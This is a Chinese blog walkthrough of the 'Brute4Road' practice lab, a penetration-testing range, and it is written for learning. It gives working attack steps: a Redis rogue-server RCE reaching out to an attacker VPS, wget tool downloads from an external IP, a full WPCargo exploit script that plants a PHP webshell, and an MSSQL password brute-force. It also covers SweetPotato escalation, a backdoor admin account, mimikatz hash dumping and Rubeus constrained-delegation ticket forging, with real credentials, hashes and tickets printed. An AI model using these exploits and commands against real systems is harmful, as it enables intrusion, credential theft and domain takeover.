春秋云境-Brute4Road 【详细解析】

于 2024-08-21 23:50:19 发布
阅读量1.2k 收藏 32
点赞数 33
分类专栏： 内网渗透 文章标签： 内网渗透 域渗透 Brute4Road 春秋云镜 Web安全 网络安全
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/Jayjay___/article/details/141405315
版权

靶标介绍：

Brute4Road是一套难度为中等的靶场环境，完成该挑战可以帮助玩家了解内网渗透中的代理转发、内网扫描、信息收集、特权提升以及横向移动技术方法，加强对域环境核心认证机制的理解，以及掌握域环境渗透中一些有趣的技术要点。该靶场共有4个flag，分布于不同的靶机。

内网地址Host or FQDN简要描述
172.22.2.7外网 Redis 服务器
172.22.2.18UBUNTU-WEB02WordPress 服务器
172.22.2.16MSSQLSERVER.xiaorang.labMSSQL 数据库
172.22.2.34CLIENT01.xiaorang.lab远程桌面服务未启用 NLA 的主机
172.22.2.3DC.xiaorang.labDC

开题

image-20240812014033509

Flag1

信息搜集

搜集靶标信息，有两种可行的方式，nmap和fscan

nmap是一款非常强大的主机发现和端口扫描工具，而且nmap运用自带的脚本，还能完成漏洞检测，同时支持多平台。

nmap -p 21,22,80,443,8080,6379,3306,5432,5000,8081,9000,27017,27018 -sCV -oN nmap_detailed_scan_Jay17.txt 【IP】

image-20240812014156724

fscan是一款用go语言编写的开源工具，一款内网综合扫描工具，方便一键自动化、全方位漏扫扫描。该工具支持主机存活探测、端口扫描、常见服务的爆破、ms17010、redis 批量写公钥、计划任务反弹 shell、读取 win 网卡信息、web 指纹识别、web 漏洞扫描、netbios 探测、域控识别等功能。

fscan.exe -h 【IP】

image-20240812014422973

发现有个ftp匿名登录，但是只有一个空的pub文件夹，没啥用。

同时发现开放6379有redis的未授权，重点看redis。

Redis 主从复制RCE

在内网中很容易遇见Redis未授权漏洞

redis 版本是 5.0.12，虽然版本大于5.0.5（有可能扫出来是错的），分析后发现应该是打 Redis 主从复制RCE

注：redis主从RCE打多了会出现redis瘫痪的情况，所以不到万不得已，尽量不要打主从

参考文章：

Redis系列漏洞总结 - FreeBuf网络安全行业门户

Redis未授权四种利用方式与修复方案_redis未授权访问漏洞修复建议-CSDN博客

工具：

https://github.com/n0b0dyCN/redis-rogue-server

Windows下或者Linux下运行（不知道咋的，我的kali用不了只能用vps跑）

python3 redis-rogue-server.py --rhost 【Target-IP】 --lhost 【VPS-IP】 --lport 21002

image-20240812074513826

image-20240812074726996

拿到shell之后输入下面的命令，创建一个伪终端。

python -c 'import pty; pty.spawn("/bin/bash")'

为什么要建立伪终端呢，主要是tty的原因，tty有什么用可以看我这篇文章：Polar 这又是一个上传_polar 自由的文件上传系统-CSDN博客

伪终端建不建对这题影响不大，是个习惯。

image-20240812074657926

此外，使用 msf 也可以打 Redis 主从复制RCE。

在/home/redis/flag目录下发现了flag，但是没有权限读取，八九不离十要提权了

image-20240812075303829

Base64提权

首先是提权起手式，查找具备suid权限的命令：

find / -user root -perm -4000 -print 2>/dev/null

比较明显的是base64

image-20240812075428988

利用 base64进行 suid 提权（这种提权只能读取文件）

base64 "/home/redis/flag/flag01" | base64 --decode

image-20240812075647647

Flag2

我们在自己的vpn起一个web服务（我喜欢用python），然后我们将要用到的工具wget传过去（fscan（漏洞扫描）、frp（流量代理，后来因为不稳定换成了gost）、wpscan（wordpress漏洞扫描，kali自带）

服务器执行命令：

cd /root/Jay17/1-nwst
chmod 777 -R ./
python3 -m http.server 9023

image-20240812235207126

image-20240813012305403

跳板机（Redis服务所在主机）执行命令：

cd /tmp

wget http://124.71.147.99:9023/frp/frpc
wget http://124.71.147.99:9023/frp/frpc.ini
wget http://124.71.147.99:9023/fscan

ls

chmod 777 fscan
chmod 777 frpc
chmod 777 frpc.ini

image-20240813012456405

刚刚getshell的那台主机（Redis）作为我们的跳板机。

img

我们先把代理挂上，简单配置一下

内网穿透frp下载安装及配置（自动化测试报告利器）-CSDN博客

frp内网穿透_frp下载-CSDN博客

代理服务器客户端Proxifier使用教程 Proxifier图文设置 - DoubleLi - 博客园 (cnblogs.com)

frpc.ini

[common]
server_addr = 124.71.147.99
server_port = 17000

[plugin_socks6]
type = tcp
remote_port = 10000
plugin = socks5

frps.ini

[common]
bind_port = 17000

服务器（服务端，所以是frps）上开frp服务端监听

nohup ./frps -c ./frps.ini

image-20240813013256931

靶机（客户端，所以是frpc）开frp

nohup ./frpc -c ./frpc.ini

image-20240813013337453

Proxifier左上角配置文件->代理服务器-添加

image-20240813000212871

设置一下代理为我的VPS124.71.147.99。这里的端口是frpc.ini里面配置的socks5端口，也就是10000

image-20240813013459831

配置一下代理规则，主要是：动作换成socks5，目标主机换成172.22.2.*

image-20240813013650502

在物理机浏览器访问内网地址（在后文内网扫描步骤得到的），代理成功！

image-20240813013806869

frp（反向代理）有点不稳定（后面远控靶机windows经常掉），使用gost（正向代理）进行代理。

redis服务所在的主机已经getshell了，传好文件设置好777权限后，执行以下命令：（真是方便又好用，谢谢chu0✌）

./gost -L=:10001 &

image-20240813030903752

直接代理到靶机（比frp省了一个VPS的步骤）

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

内网扫描

内网渗透主要是基于前期外围打点getshell的webserver，通过收集webserver上的信息，然后对其他内网主机进行口令上的攻击，当然也有一些基于漏洞的攻击。同一域内的主机不计其数，域用户不计其数，为了便于记忆和管理，域成员的密码很多都会有重合。当我们拿到某个域成员的密码，就可以利用它把口子越撕越大，不断丰富我们的密码字典，然后不断地对域内主机进行爆破，直至拿下DC（域控）。

如果你是第一次接触内网渗透，以下的文章可能可以帮助你理解基本概念：

浅谈内网渗透基础知识（一） - FreeBuf网络安全行业门户

如何从零构建对内网穿透的理解-CSDN博客

手把手教你如何进行内网渗透-CSDN博客

内网渗透初探(一) | 小白简单学习内网渗透 - 先知社区 (aliyun.com)

Vulnstack（一）_vulnstack1-CSDN博客

内网渗透之代理转发 - FreeBuf网络安全行业门户

本机没有 ifconfig 命令无法查看ip，这里使用netstat -ano命令来查看网段，这个命令本意是查看端口开放情况。

netstat -ano

image-20240813012546868

当然也可以传个 cdk 执行 ifconfig 命令./cdk ifconfig

可以看到本机内网ip为172.22.2.7

使用fscan进行内网漏洞扫描

./fscan -h 172.22.2.0/24 -o res.txt

结果

./fscan -h 172.22.2.0/24 -o res.txt

   ___                              _    
  / _ \     ___  ___ _ __ __ _  ___| | __ 
 / /_\/____/ __|/ __| '__/ _` |/ __| |/ /
/ /_\\_____\__ \ (__| | | (_| | (__|   <    
\____/     |___/\___|_|  \__,_|\___|_|\_\   
                     fscan version: 1.8.4
start infoscan
trying RunIcmp2
The current user permissions unable to send icmp packets
start ping
(icmp) Target 172.22.2.18     is alive
(icmp) Target 172.22.2.7      is alive
(icmp) Target 172.22.2.3      is alive
(icmp) Target 172.22.2.16     is alive
(icmp) Target 172.22.2.34     is alive
[*] Icmp alive hosts len is: 5
172.22.2.7:6379 open
172.22.2.16:1433 open
172.22.2.34:445 open
172.22.2.16:445 open
172.22.2.3:445 open
172.22.2.18:445 open
172.22.2.34:139 open
172.22.2.16:139 open
172.22.2.3:139 open
172.22.2.34:135 open
172.22.2.18:139 open
172.22.2.3:135 open
172.22.2.16:135 open
172.22.2.16:80 open
172.22.2.18:22 open
172.22.2.7:80 open
172.22.2.7:22 open
172.22.2.7:21 open
172.22.2.18:80 open
172.22.2.3:88 open
[*] alive ports len is: 20
start vulscan
[*] NetInfo 
[*]172.22.2.3
   [->]DC
   [->]172.22.2.3
[*] NetInfo 
[*]172.22.2.16
   [->]MSSQLSERVER
   [->]172.22.2.16
[*] WebTitle http://172.22.2.16        code:404 len:315    title:Not Found
[*] NetBios 172.22.2.34     XIAORANG\CLIENT01             
[*] NetInfo 
[*]172.22.2.34
   [->]CLIENT01
   [->]172.22.2.34
[*] WebTitle http://172.22.2.7         code:200 len:4833   title:Welcome to CentOS
[*] OsInfo 172.22.2.3	(Windows Server 2016 Datacenter 14393)
[*] OsInfo 172.22.2.16	(Windows Server 2016 Datacenter 14393)
[*] NetBios 172.22.2.18     WORKGROUP\UBUNTU-WEB02        
[*] NetBios 172.22.2.16     MSSQLSERVER.xiaorang.lab            Windows Server 2016 Datacenter 14393
[*] NetBios 172.22.2.3      [+] DC:DC.xiaorang.lab               Windows Server 2016 Datacenter 14393
[+] ftp 172.22.2.7:21:anonymous 
   [->]pub
[*] WebTitle http://172.22.2.18        code:200 len:57738  title:又一个WordPress站点
已完成 20/20
[*] 扫描结束,耗时: 12.67817925s

整理一下内网主机

172.22.2.3 DC
172.22.2.7  本机 
172.22.2.16 MSSQLSERVER
172.22.2.18  WordPress站点
172.22.2.34  XIAORANG\CLIENT01

看结果，有个wordpress，是漏洞点。

WPCargo插件<6.9.0 未授权RCE

接下来使用wpscan工具扫描wordpress站点，发现公开漏洞

修改kali的代理（这步使用的还是frp进行代理）

vim /etc/proxychains4.conf

image-20240813014321213

kali运行wpscan

proxychains4 wpscan --url http://172.22.2.18 2>/dev/null

image-20240813014620488

发现使用了一个插件：wpcargo

漏洞参考文章：

https://wpscan.com/vulnerability/5c21ad35-b2fb-4a51-858f-8ffff685de4a

https://github.com/biulove0x/CVE-2021-25003

利用脚本写入木马：

import sys
import binascii
import requests

# This is a magic string that when treated as pixels and compressed using the png
# algorithm, will cause <?=$_GET[1]($_POST[2]);?> to be written to the png file
payload = '2f49cf97546f2c24152b216712546f112e29152b1967226b6f5f50'

def encode_character_code(c: int):
    return '{:08b}'.format(c).replace('0', 'x')

text = ''.join([encode_character_code(c) for c in binascii.unhexlify(payload)])[1:]

destination_url = 'http://172.22.2.18/'
cmd = 'ls'

# With 1/11 scale, '1's will be encoded as single white pixels, 'x's as single black pixels.
requests.get(
    f"{destination_url}wp-content/plugins/wpcargo/includes/barcode.php?text={text}&sizefactor=.090909090909&size=1&filepath=/var/www/html/webshell.php"
)

# We have uploaded a webshell - now let's use it to execute a command.
print(requests.post(
    f"{destination_url}webshell.php?1=system", data={"2": cmd}
).content.decode('ascii', 'ignore'))

因为做好代理了，所以直接在物理机上执行脚本：

image-20240813014750402

浏览器访问http://172.22.2.18/webshell.php?1=system，发现成功写入后门

image-20240813015012211

蚁剑连接getshell

使用刚刚生成的后门连接蚁剑，注意类型要选择 CMDLINUX。（V2.1.14新增，适配这种后门木马，可以看这篇文章：Releases · AntSwordProject/antSword (github.com)）

image-20240813015118339

文件中没flag，猜测flag在数据库中。查看wp-config.php文件，得到数据库用户密码。

image-20240813015203600

连接数据库，可以先检测一下再连

image-20240813015251148

image-20240813015318585

找到flag2。

image-20240813015327960

数据库中还找到一些密码，先留存下来

image-20240813015701220

Flag3

MSSQLSERVER密码爆破

还记得内flag2网扫描阶段发现的主机172.22.2.16 MSSQLSERVER吗，我们尝试用上面获得的密码本爆破下MSSQLSERVER的密码。

默认用户sa，爆破得到密码ElGNkOiC

image-20240813020133263

默认端口1433，Multiple.Database.Utilization.Tools工具连接MSSQLSERVER

image-20240813021552634

连成功之后激活所有组件，编码选择GBK，之后就可以执行命令了

image-20240813021653515

甜土豆提权

Multiple.Database.Utilization.Tools工具连接MSSQLSERVER和土豆提权是高度绑定的，同时目前用户是mssqlserver，权限太低。所以下一步甜土豆提权到system。

右键上传甜土豆到public目录

image-20240813021821101

执行命令。提权成功！

C:/Users/Public/SweetPotato.exe -a "whoami"

image-20240813022112844

尝试新加用户jay17，密码为whoami@666

net user jay17 whoami@666 /add

image-20240813022225506

并将用户jay17加到管理组，赋予最高权限

net localgroup administrators jay17 /add

image-20240813022250660

远程桌面连接

具备管理组用户jay17后，我们尝试远程桌面连接

image-20240813022358448

使用刚刚创建的用户密码

image-20240813022432698

在Administrators用户目录下发现flag3

image-20240813022530560

Flag4

域信息搜集

执行命令systeminfo，发现域环境xiaorang.lab

image-20240813022743212

kali安装，neo4j是个数据库，bloodhound是工具。

apt install neo4j
apt install bloodhound

BloodHound是一款可视化图形分析域环境中的关系的工具，以用图与线的形式，将域内用户、计算机、组、Sessions、ACLs以及域内所有相关用户、组、计算机、登陆信息、访问控制策略之间的关系更直观的展现在红队人员面前进行更便捷的分析域内情况，更快速的在域内提升自己的权限。它也可以使蓝队成员对己方网络系统进行更好的安全检测及保证域的安全性。

Neo4j是一款NOSQL图形数据库，它将结构化数据存储在网络上而不是表中，Bloodhound利用这种特性加以合理分析，可以更加直观的将数据以节点空间”来表达相关数据。BloodHound通过在域内导出相关信息，在将数据收集后，将其导入Neo4j数据库中，进行展示分析。

执行以下命令，进入neo4j控制台，端口7474，默认账号密码neo4j/neo4j

neo4j console

修改下neo4j的默认密码，之后用bloodhound连接一下neo4j

image-20240813030115077

利用system权限，SharpHound工具搜集域信息上传 SharpHound.exe工具，进行域环境分析

C:/Users/Public/SweetPotato.exe -a "C:/Users/jay17/Desktop/SharpHound.exe -c all"

image-20240813024459785

生成的文件（包含了域信息）复制出来

image-20240813031701044

kali中bloodhound打开，得到一张图

image-20240813031921491

image-20240813052340955

image-20240813052709040

我们现在位于MSSQLSERVER.XIAORANG.LAB。

AllowedToDelegate

image-20240813052951151

image-20240813052801404

MSSQLSERVER 配置了到 DC LDAP 和 CIFS 服务的约束性委派，可以用Rubeus申请自身的服务票据，通过 S4U 协议伪造高权限 ST 拿下域控

约束委派攻击

上传minikatz到MSSQLSERVER服务所在靶机，读取域用户哈希

mimikatz.exe ""privilege::debug"" ""sekurlsa::logonpasswords"" exit

image-20240813053244272

Username : MSSQLSERVER$
NTLM     : ff8c8dd5d4b745cf83b34caa1ffe3db5

用Rubeus.exe申请用户MSSQLSERVER的TGT票据

  1. TGT（Ticket Granting Ticket）:

    • 在计算机安全和身份验证（如Kerberos协议）中，TGT通常指Ticket Granting Ticket。这是一种用于用户身份验证的票证。用户在成功验证身份后，会收到TGT，然后用它来请求访问特定服务的票证，而不需要再次输入密码。

  2. ST（Service Ticket）:

    • 同样在Kerberos等身份验证系统中，ST通常指Service Ticket。TGT用于请求ST，ST则用于访问特定服务。用户通过TGT获取ST后，使用ST访问目标服务。
.\Rubeus.exe asktgt /user:MSSQLSERVER$ /rc4:ff8c8dd5d4b745cf83b34caa1ffe3db5 /domain:xiaorang.lab /dc:DC.xiaorang.lab /nowrap > 1.txt

image-20240813032729740

打开1.txt，复制票据的base64编码

image-20240813032756154

通过Rubeus的S4U2Self协议代表域管理员申请针对域控LDAP服务的票据并注入内存

.\Rubeus.exe s4u /impersonateuser:Administrator /msdsspn:CIFS/DC.xiaorang.lab /dc:DC.xiaorang.lab /ptt /ticket:doIFmjCCBZagAwIBBaEDAgEWooIEqzCCBKdhggSjMIIEn6ADAgEFoQ4bDFhJQU9SQU5HLkxBQqIhMB+gAwIBAqEYMBYbBmtyYnRndBsMeGlhb3JhbmcubGFio4IEYzCCBF+gAwIBEqEDAgECooIEUQSCBE1tP8AzBwuBATLNy9q2ZXt/9Kjhm7jqe1T0spzJcp95hzCUx/J81bu4tUftiEul1sBPC6g8DMPc8iHiyutFpHs/oo4gzdUf8Ao0D5li8RNRR59hedFOIAO5NUcCX/naBydvUDybfesO2xvW3bvC7oDL6+iFOYlbNx75sXfp7VDJTY0PeN8wMxWjxgYe4LmnxBt2xBjBNN6JWR8LIzFEOWga0C76kSktrKgsROJSncs3rgGO+IHZ5g/qhz0AMX9pywJwrvo3+pMQy8gTqhLFViUVE9Ct+hmxcQI5N1Nii+khmkPRp+kmEhvOVBJ0eV82sk+vMFNjZT9ZDEEWn1j2J3NXE7gAdNhSPHXuItawwy44gxx2zJ1nNPNujCaDsKLkR2zcT77yqhlUURJY3UIwMGylnd5Fy2w9XrxFJhv2sAgJkx7HcmDkJPnU4POE3WcpjdsMatzyah89XuqU6O9iVTXYXz22NNpbwWiFrwjbRIP6ndlrkxXYrOSq1aVCf68Cv0F8GyM/m3VFTv361+RK/uAytpRLiL8bhKrbDrSDwteduTlvfq/AI5HlYcOZVKrQQtFxPCWgyQttINccHjsIYKpCBhwihHhiot1WG9pAaZV8DlVVo2DU7wjn2TLQmm6xAOVBuvydZwzo3rX5JG0VuZ3pqmyMTIlrbCDMbr6KXoDtRDpq7nokItjsJHUHPWFMqv81uP3wiAp6PK9Bb6E/YNxBtg9kCP8JzwBe8lqbIqK+D/EJ6IMbGa9Oydj4rp4u3Sg5z1mzg3bUSIoTyalYoYpaA/QGMMd9LAfImPbOtya8Op6cqeK4JFGBulD+X6obkhxkUdTeezdRAO7B9NgrW97+vUJq54f5Axhx1xil3XqM95370ys1kJx71AtAWTKuffAqOFay3NU+TLctuiLgl4SLJ5zRnlCYB5tMCiOcx6X2/OO1BblWMnGsuRXM+wFG22ylBirh8snTDm1C2bzkqOab78fh4EclrimYVR8p+fv6l2+94Z9Z4nJfULD8P20j9L4g3jGcgIubRa4K+/eBiA5fk88AUF5ODlkGBfiBx20pMROEcJB6SfwDdO8S8WwE/QlFi5OkYK+hqBVnOn981b4SqK5J+GitJDJ2Fg/augqe47SXi6Bdn571RGW8UDMUziR1V0J9edvZdQvI4gsusf1cO0YY3Wp59V8rcjbPTPBiBF4btFGnB3OnFyeUa4rN7ogHQPfGslvOXZ4AdAiUPe2XKhJ0uT99hMk6GeEgA4B12vi23ZR7dBmi0fesK5XLkgcz5oZWlVCD/ZmHTG25BeQTNfZNW0ilev8WBdA/hGcCemDXfu4uMLZt3uuIHJYTfJZjQJ82758W0BoAL5fsS/VN2tG488hulVFXjAfxEBG1T6Xz+/QK7BBbXGbFmz231qBQesXqWoi7o3XUXlneTvuchEd0YwEQ//j7PTmKw6bO88ypYh3DpHnv+e2RI+KjgdowgdegAwIBAKKBzwSBzH2ByTCBxqCBwzCBwDCBvaAbMBmgAwIBF6ESBBAG7KNH5/AVN0DqYMNnVLEQoQ4bDFhJQU9SQU5HLkxBQqIZMBegAwIBAaEQMA4bDE1TU1FMU0VSVkVSJKMHAwUAQOEAAKURGA8yMDI0MDgxMjE5MjcxOVqmERgPMjAyNDA4MTMwNTI3MTlapxEYDzIwMjQwODE5MTkyNzE5WqgOGwxYSUFPUkFORy5MQUKpITAfoAMCAQKhGDAWGwZrcmJ0Z3QbDHhpYW9yYW5nLmxhYg==

image-20240813032948932

image-20240813033003726

\\DC.xiaorang.lab\C$

查看域控C盘下\Users\Administrator路径的文件结构

dir \\DC.xiaorang.lab\C$\Users\Administrator

image-20240813055030047

获取flag文件内容

type \\DC.xiaorang.lab\C$\Users\Administrator\flag\flag04.txt

image-20240813055046536

OK，收工

image-20240813033246344

Jay 17
关注
专栏目录
春秋云境—Initial
龙狼刺的博客
07-15 1994
Initial是一套难度为简单的靶场环境，完成该挑战可以帮助玩家初步认识内网渗透的简单流程。该靶场只有一个flag，各部分位于不同的机器上。在DCSync技术没有出现之前，攻击者要想拿到域内用户的hash，就只能在域控制器上运行 Mimikatz 或 Invoke-Mimikatz去抓取密码hash，但是在2015 年 8 月份， Mimkatz新增了一个主要功能叫"DCSync"，使用这项技术可以有效地 “模拟” 域控制器并从目标域控上请求域内用户密码hash。
nodejs-modulo17-novo:使用express-brute，express-brute-redis，Helmet，Node Redis，Rate Limit Redis，CORS，GitHub和Greenkeeper的Node.js中的安全性
04-30
使用express-brute，express-brute-redis，Helmet，Node Redis，Rate Limit Redis，CORS，GitHub和Greenkeeper的Node.js中的安全性。 注意：此存储库是的副本，用于在Node.js中执行安全性方法。 指数 设置环境变量...
靶场练习--春秋云境-Brute4Road
NoooEmotion的博客
01-28 2191
Brute4Road是一套难度为中等的靶场环境，完成该挑战可以帮助玩家了解内网渗透中的代理转发、内网扫描、信息收集、特权提升以及横向移动技术方法，加强对域环境核心认证机制的理解，以及掌握域环境渗透中一些有趣的技术要点。该靶场共有4个flag，分布于不同的靶机。
春秋云镜-【仿真场景】Brute4Road writeup
渗透测试研究中心
03-07 1082
说明Brute4Road是一套难度为中等的靶场环境，完成该挑战可以帮助玩家了解内网渗透中的代理转发、内网扫描、信息收集、特权提升以及横向移动技术方法，加强对域环境核心认证机制的理解，以及掌握域环境渗透中一些有趣的技术要点。该靶场共有4个flag，分布于不同的靶机。技术Redis、Brute Force、SMB、Privilege Elevation、域渗透第一个flagredis主从复制RCEf...
春秋云境Brute4Road-WP【一遍过】
weixin_63576152的博客
10-12 383
ps：为方便操作，可以用msfvenom生成正向shell，上传到靶机运行，再利用msfconsole获得shell，这样就能在kali上操作了。首先通过Rubeus申请机器账户MSSQLSERVER的TGT，执行后，将得到 Base64 加密后的 TGT 票据。在/home/redis/flag目录下发现了flag01，但是没有cat的权限。发现Redis未授权和ftp匿名账号登陆，这里用Redis主从rce的方式打（正常情况下：输入r后依次输入vps的ip和端口2，端口2必须是vps上开放的。
春秋云境 Brute4Road WP
最新发布
m0_62466350的博客
12-11 1058
Brute4Road是一套难度为中等的靶场环境，完成该挑战可以帮助玩家了解内网渗透中的代理转发、内网扫描、信息收集、特权提升以及横向移动技术方法，加强对域环境核心认证机制的理解，以及掌握域环境渗透中一些有趣的技术要点。该靶场共有4个flag，分布于不同的靶机。
block-a-brute:阻止ssh暴力破解者
05-12
硬块 这是一个命令行工具，用于阻止进行SSH暴力破解尝试的IP地址。 它使用auth.log查找SSH登录尝试，并通过抓取获取IP地理位置信息，并使用良好的iptables阻止IP地址。...block-a-brute - block SSH bruteforc
pfx-brute-force:C＃中的蛮力PKCS12文件密码
05-16
pfx蛮力 PfxBruteForce是一个简单的C＃工具，它试图破解* .p12或* .pfx文件上的简单密码。 它会尝试给定长度的所有可能的密码组合。 有关它的原始博客文章位于
level-training-brute：Pathwar上的Training-Brute级别
02-22
等级：训练蛮力 不推荐使用！ 在Pathwar monorepo中移动： :
win-brute-logon:破解没有任何特权的任何Microsoft Windows用户密码（包括来宾帐户）
03-19
Win Brute Logon（概念证明） 发布日期： 2020-05-14 目标：Windows XP至最新的Windows 10版本（1909） 弱点位置： LogonUserA ， LogonUserW ， CreateProcessWithLogonA ， CreateProcessWithLogonW 用法 词表文件...
WP-春秋云镜-Brute4Road靶场通关完全指南
qq_45234543的博客
12-30 2863
春秋云镜-Brute4Road靶场通关指南，完全通关指南手把手教学
春秋云境：CVE-2022-24124
一只爱吃橙子的羊
12-02 2596
Casdoor是开源的一个身份和访问管理 (IAM) / 单点登录 (SSO) 平台，带有支持 OAuth 2.0 / OIDC 和 SAML 身份验证的 Web UI 。 Casdoor 1.13.1 之前存在安全漏洞，该漏洞允许攻击者通过api/get-organizations进行攻击。
春秋云境：CVE-2022-25411
一只爱吃橙子的羊
12-01 1747
MaxSite CMS是俄国MaxSite CMS开源项目的一款网站内容管理系统。马克斯程序(MaxCMS)以开源、免费、功能强大、安全健壮、性能卓越、超级易用、模板众多、插件齐全等优势，受到众多企业和站长的喜爱。马克斯程序研发团队拥有多年的技术积累和产品开发经验，成立了官方技术支持团队、官方模板团队、官方插件团队。一切立足于站长利益、孜孜不倦的挖掘站长需求、不断提升产品体验，自主创新多项特色技术、提升网站品质!独立开发的管理员管理系统，可以对管理员进行更能人性化的管理网站。 Maxsite CMS存在文件
春秋云境：CVE-2022-25578
一只爱吃橙子的羊
11-30 1493
taocms v3.0.2允许攻击者通过编辑.htaccess文件执行任意代码
春秋云境-CVE-2020-17530
qq_63265389的博客
04-15 472
对CVE-2019-0230的绕过，Struts2官方对CVE-2019-0230的修复方式是加强OGNL表达式沙盒，而CVE-2020-17530绕过了该沙盒。当对标签属性中的原始用户输入进行评估时，强制 OGNL 评估可能会导致远程代码执行。找一下poc nothing很烦有了Apache Struts 框架在强制时，会对分配给某些标签属性（如 id）的属性值执行双重评估。因此，可以将一个值传递给 Struts，该值将在呈现标签的属性时再次评估。通过精心构建的请求，这可能会导致远程代码执行。
【春秋云境.com】网络安全之行-兴趣是起点，实战是归宿
ichunqiu2018的博客
03-16 712
【春秋云境.com】访谈：网络安全之行-兴趣是起点，实战是归宿! 让我们一起走进无间计划一血获得者GCOW安全团队小离的实战世界~
靶场练习--春秋云境-Certify
NoooEmotion的博客
01-28 1871
Certify是一套难度为中等的靶场环境，完成该挑战可以帮助玩家了解内网渗透中的代理转发、内网扫描、信息收集、特权提升以及横向移动技术方法，加强对域环境核心认证机制的理解，以及掌握域环境渗透中一些有趣的技术要点。该靶场共有4个flag，分布于不同的靶机。
【春秋云境】CVE-2022-32991靶场wp
热门推荐
MONSTERinCAT的博客
10-11 1万+
10月10日10时24分，基于多年来在网络靶场领域的深厚技术及场景积累，永信至诚i春秋正式发布春秋云境.com社区，以春秋云底层能力为基础，以平行仿真技术为支撑，以高仿真内容场景为核心，打造网络安全实战“元宇宙”，通过更加多元、开放、创新的线上技术交流空间，为更广泛的用户群体提供更轻量的靶场体验，助力攻防两端的实战技能提升。春秋云境.com。
Brute-Force与KMP算法解析
"这篇内容主要介绍了Brute-Force算法与KMP算法在串的模式匹配中的应用，这两种算法是解决字符串查找问题的经典方法。" 在计算机科学中，串的模式匹配是一个重要的问题，特别是在文本处理、搜索和数据分析等领域。...
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Jay 17

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付：¥1
获取中
扫码支付

您的余额不足，请更换扫码支付或充值

打赏作者

实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值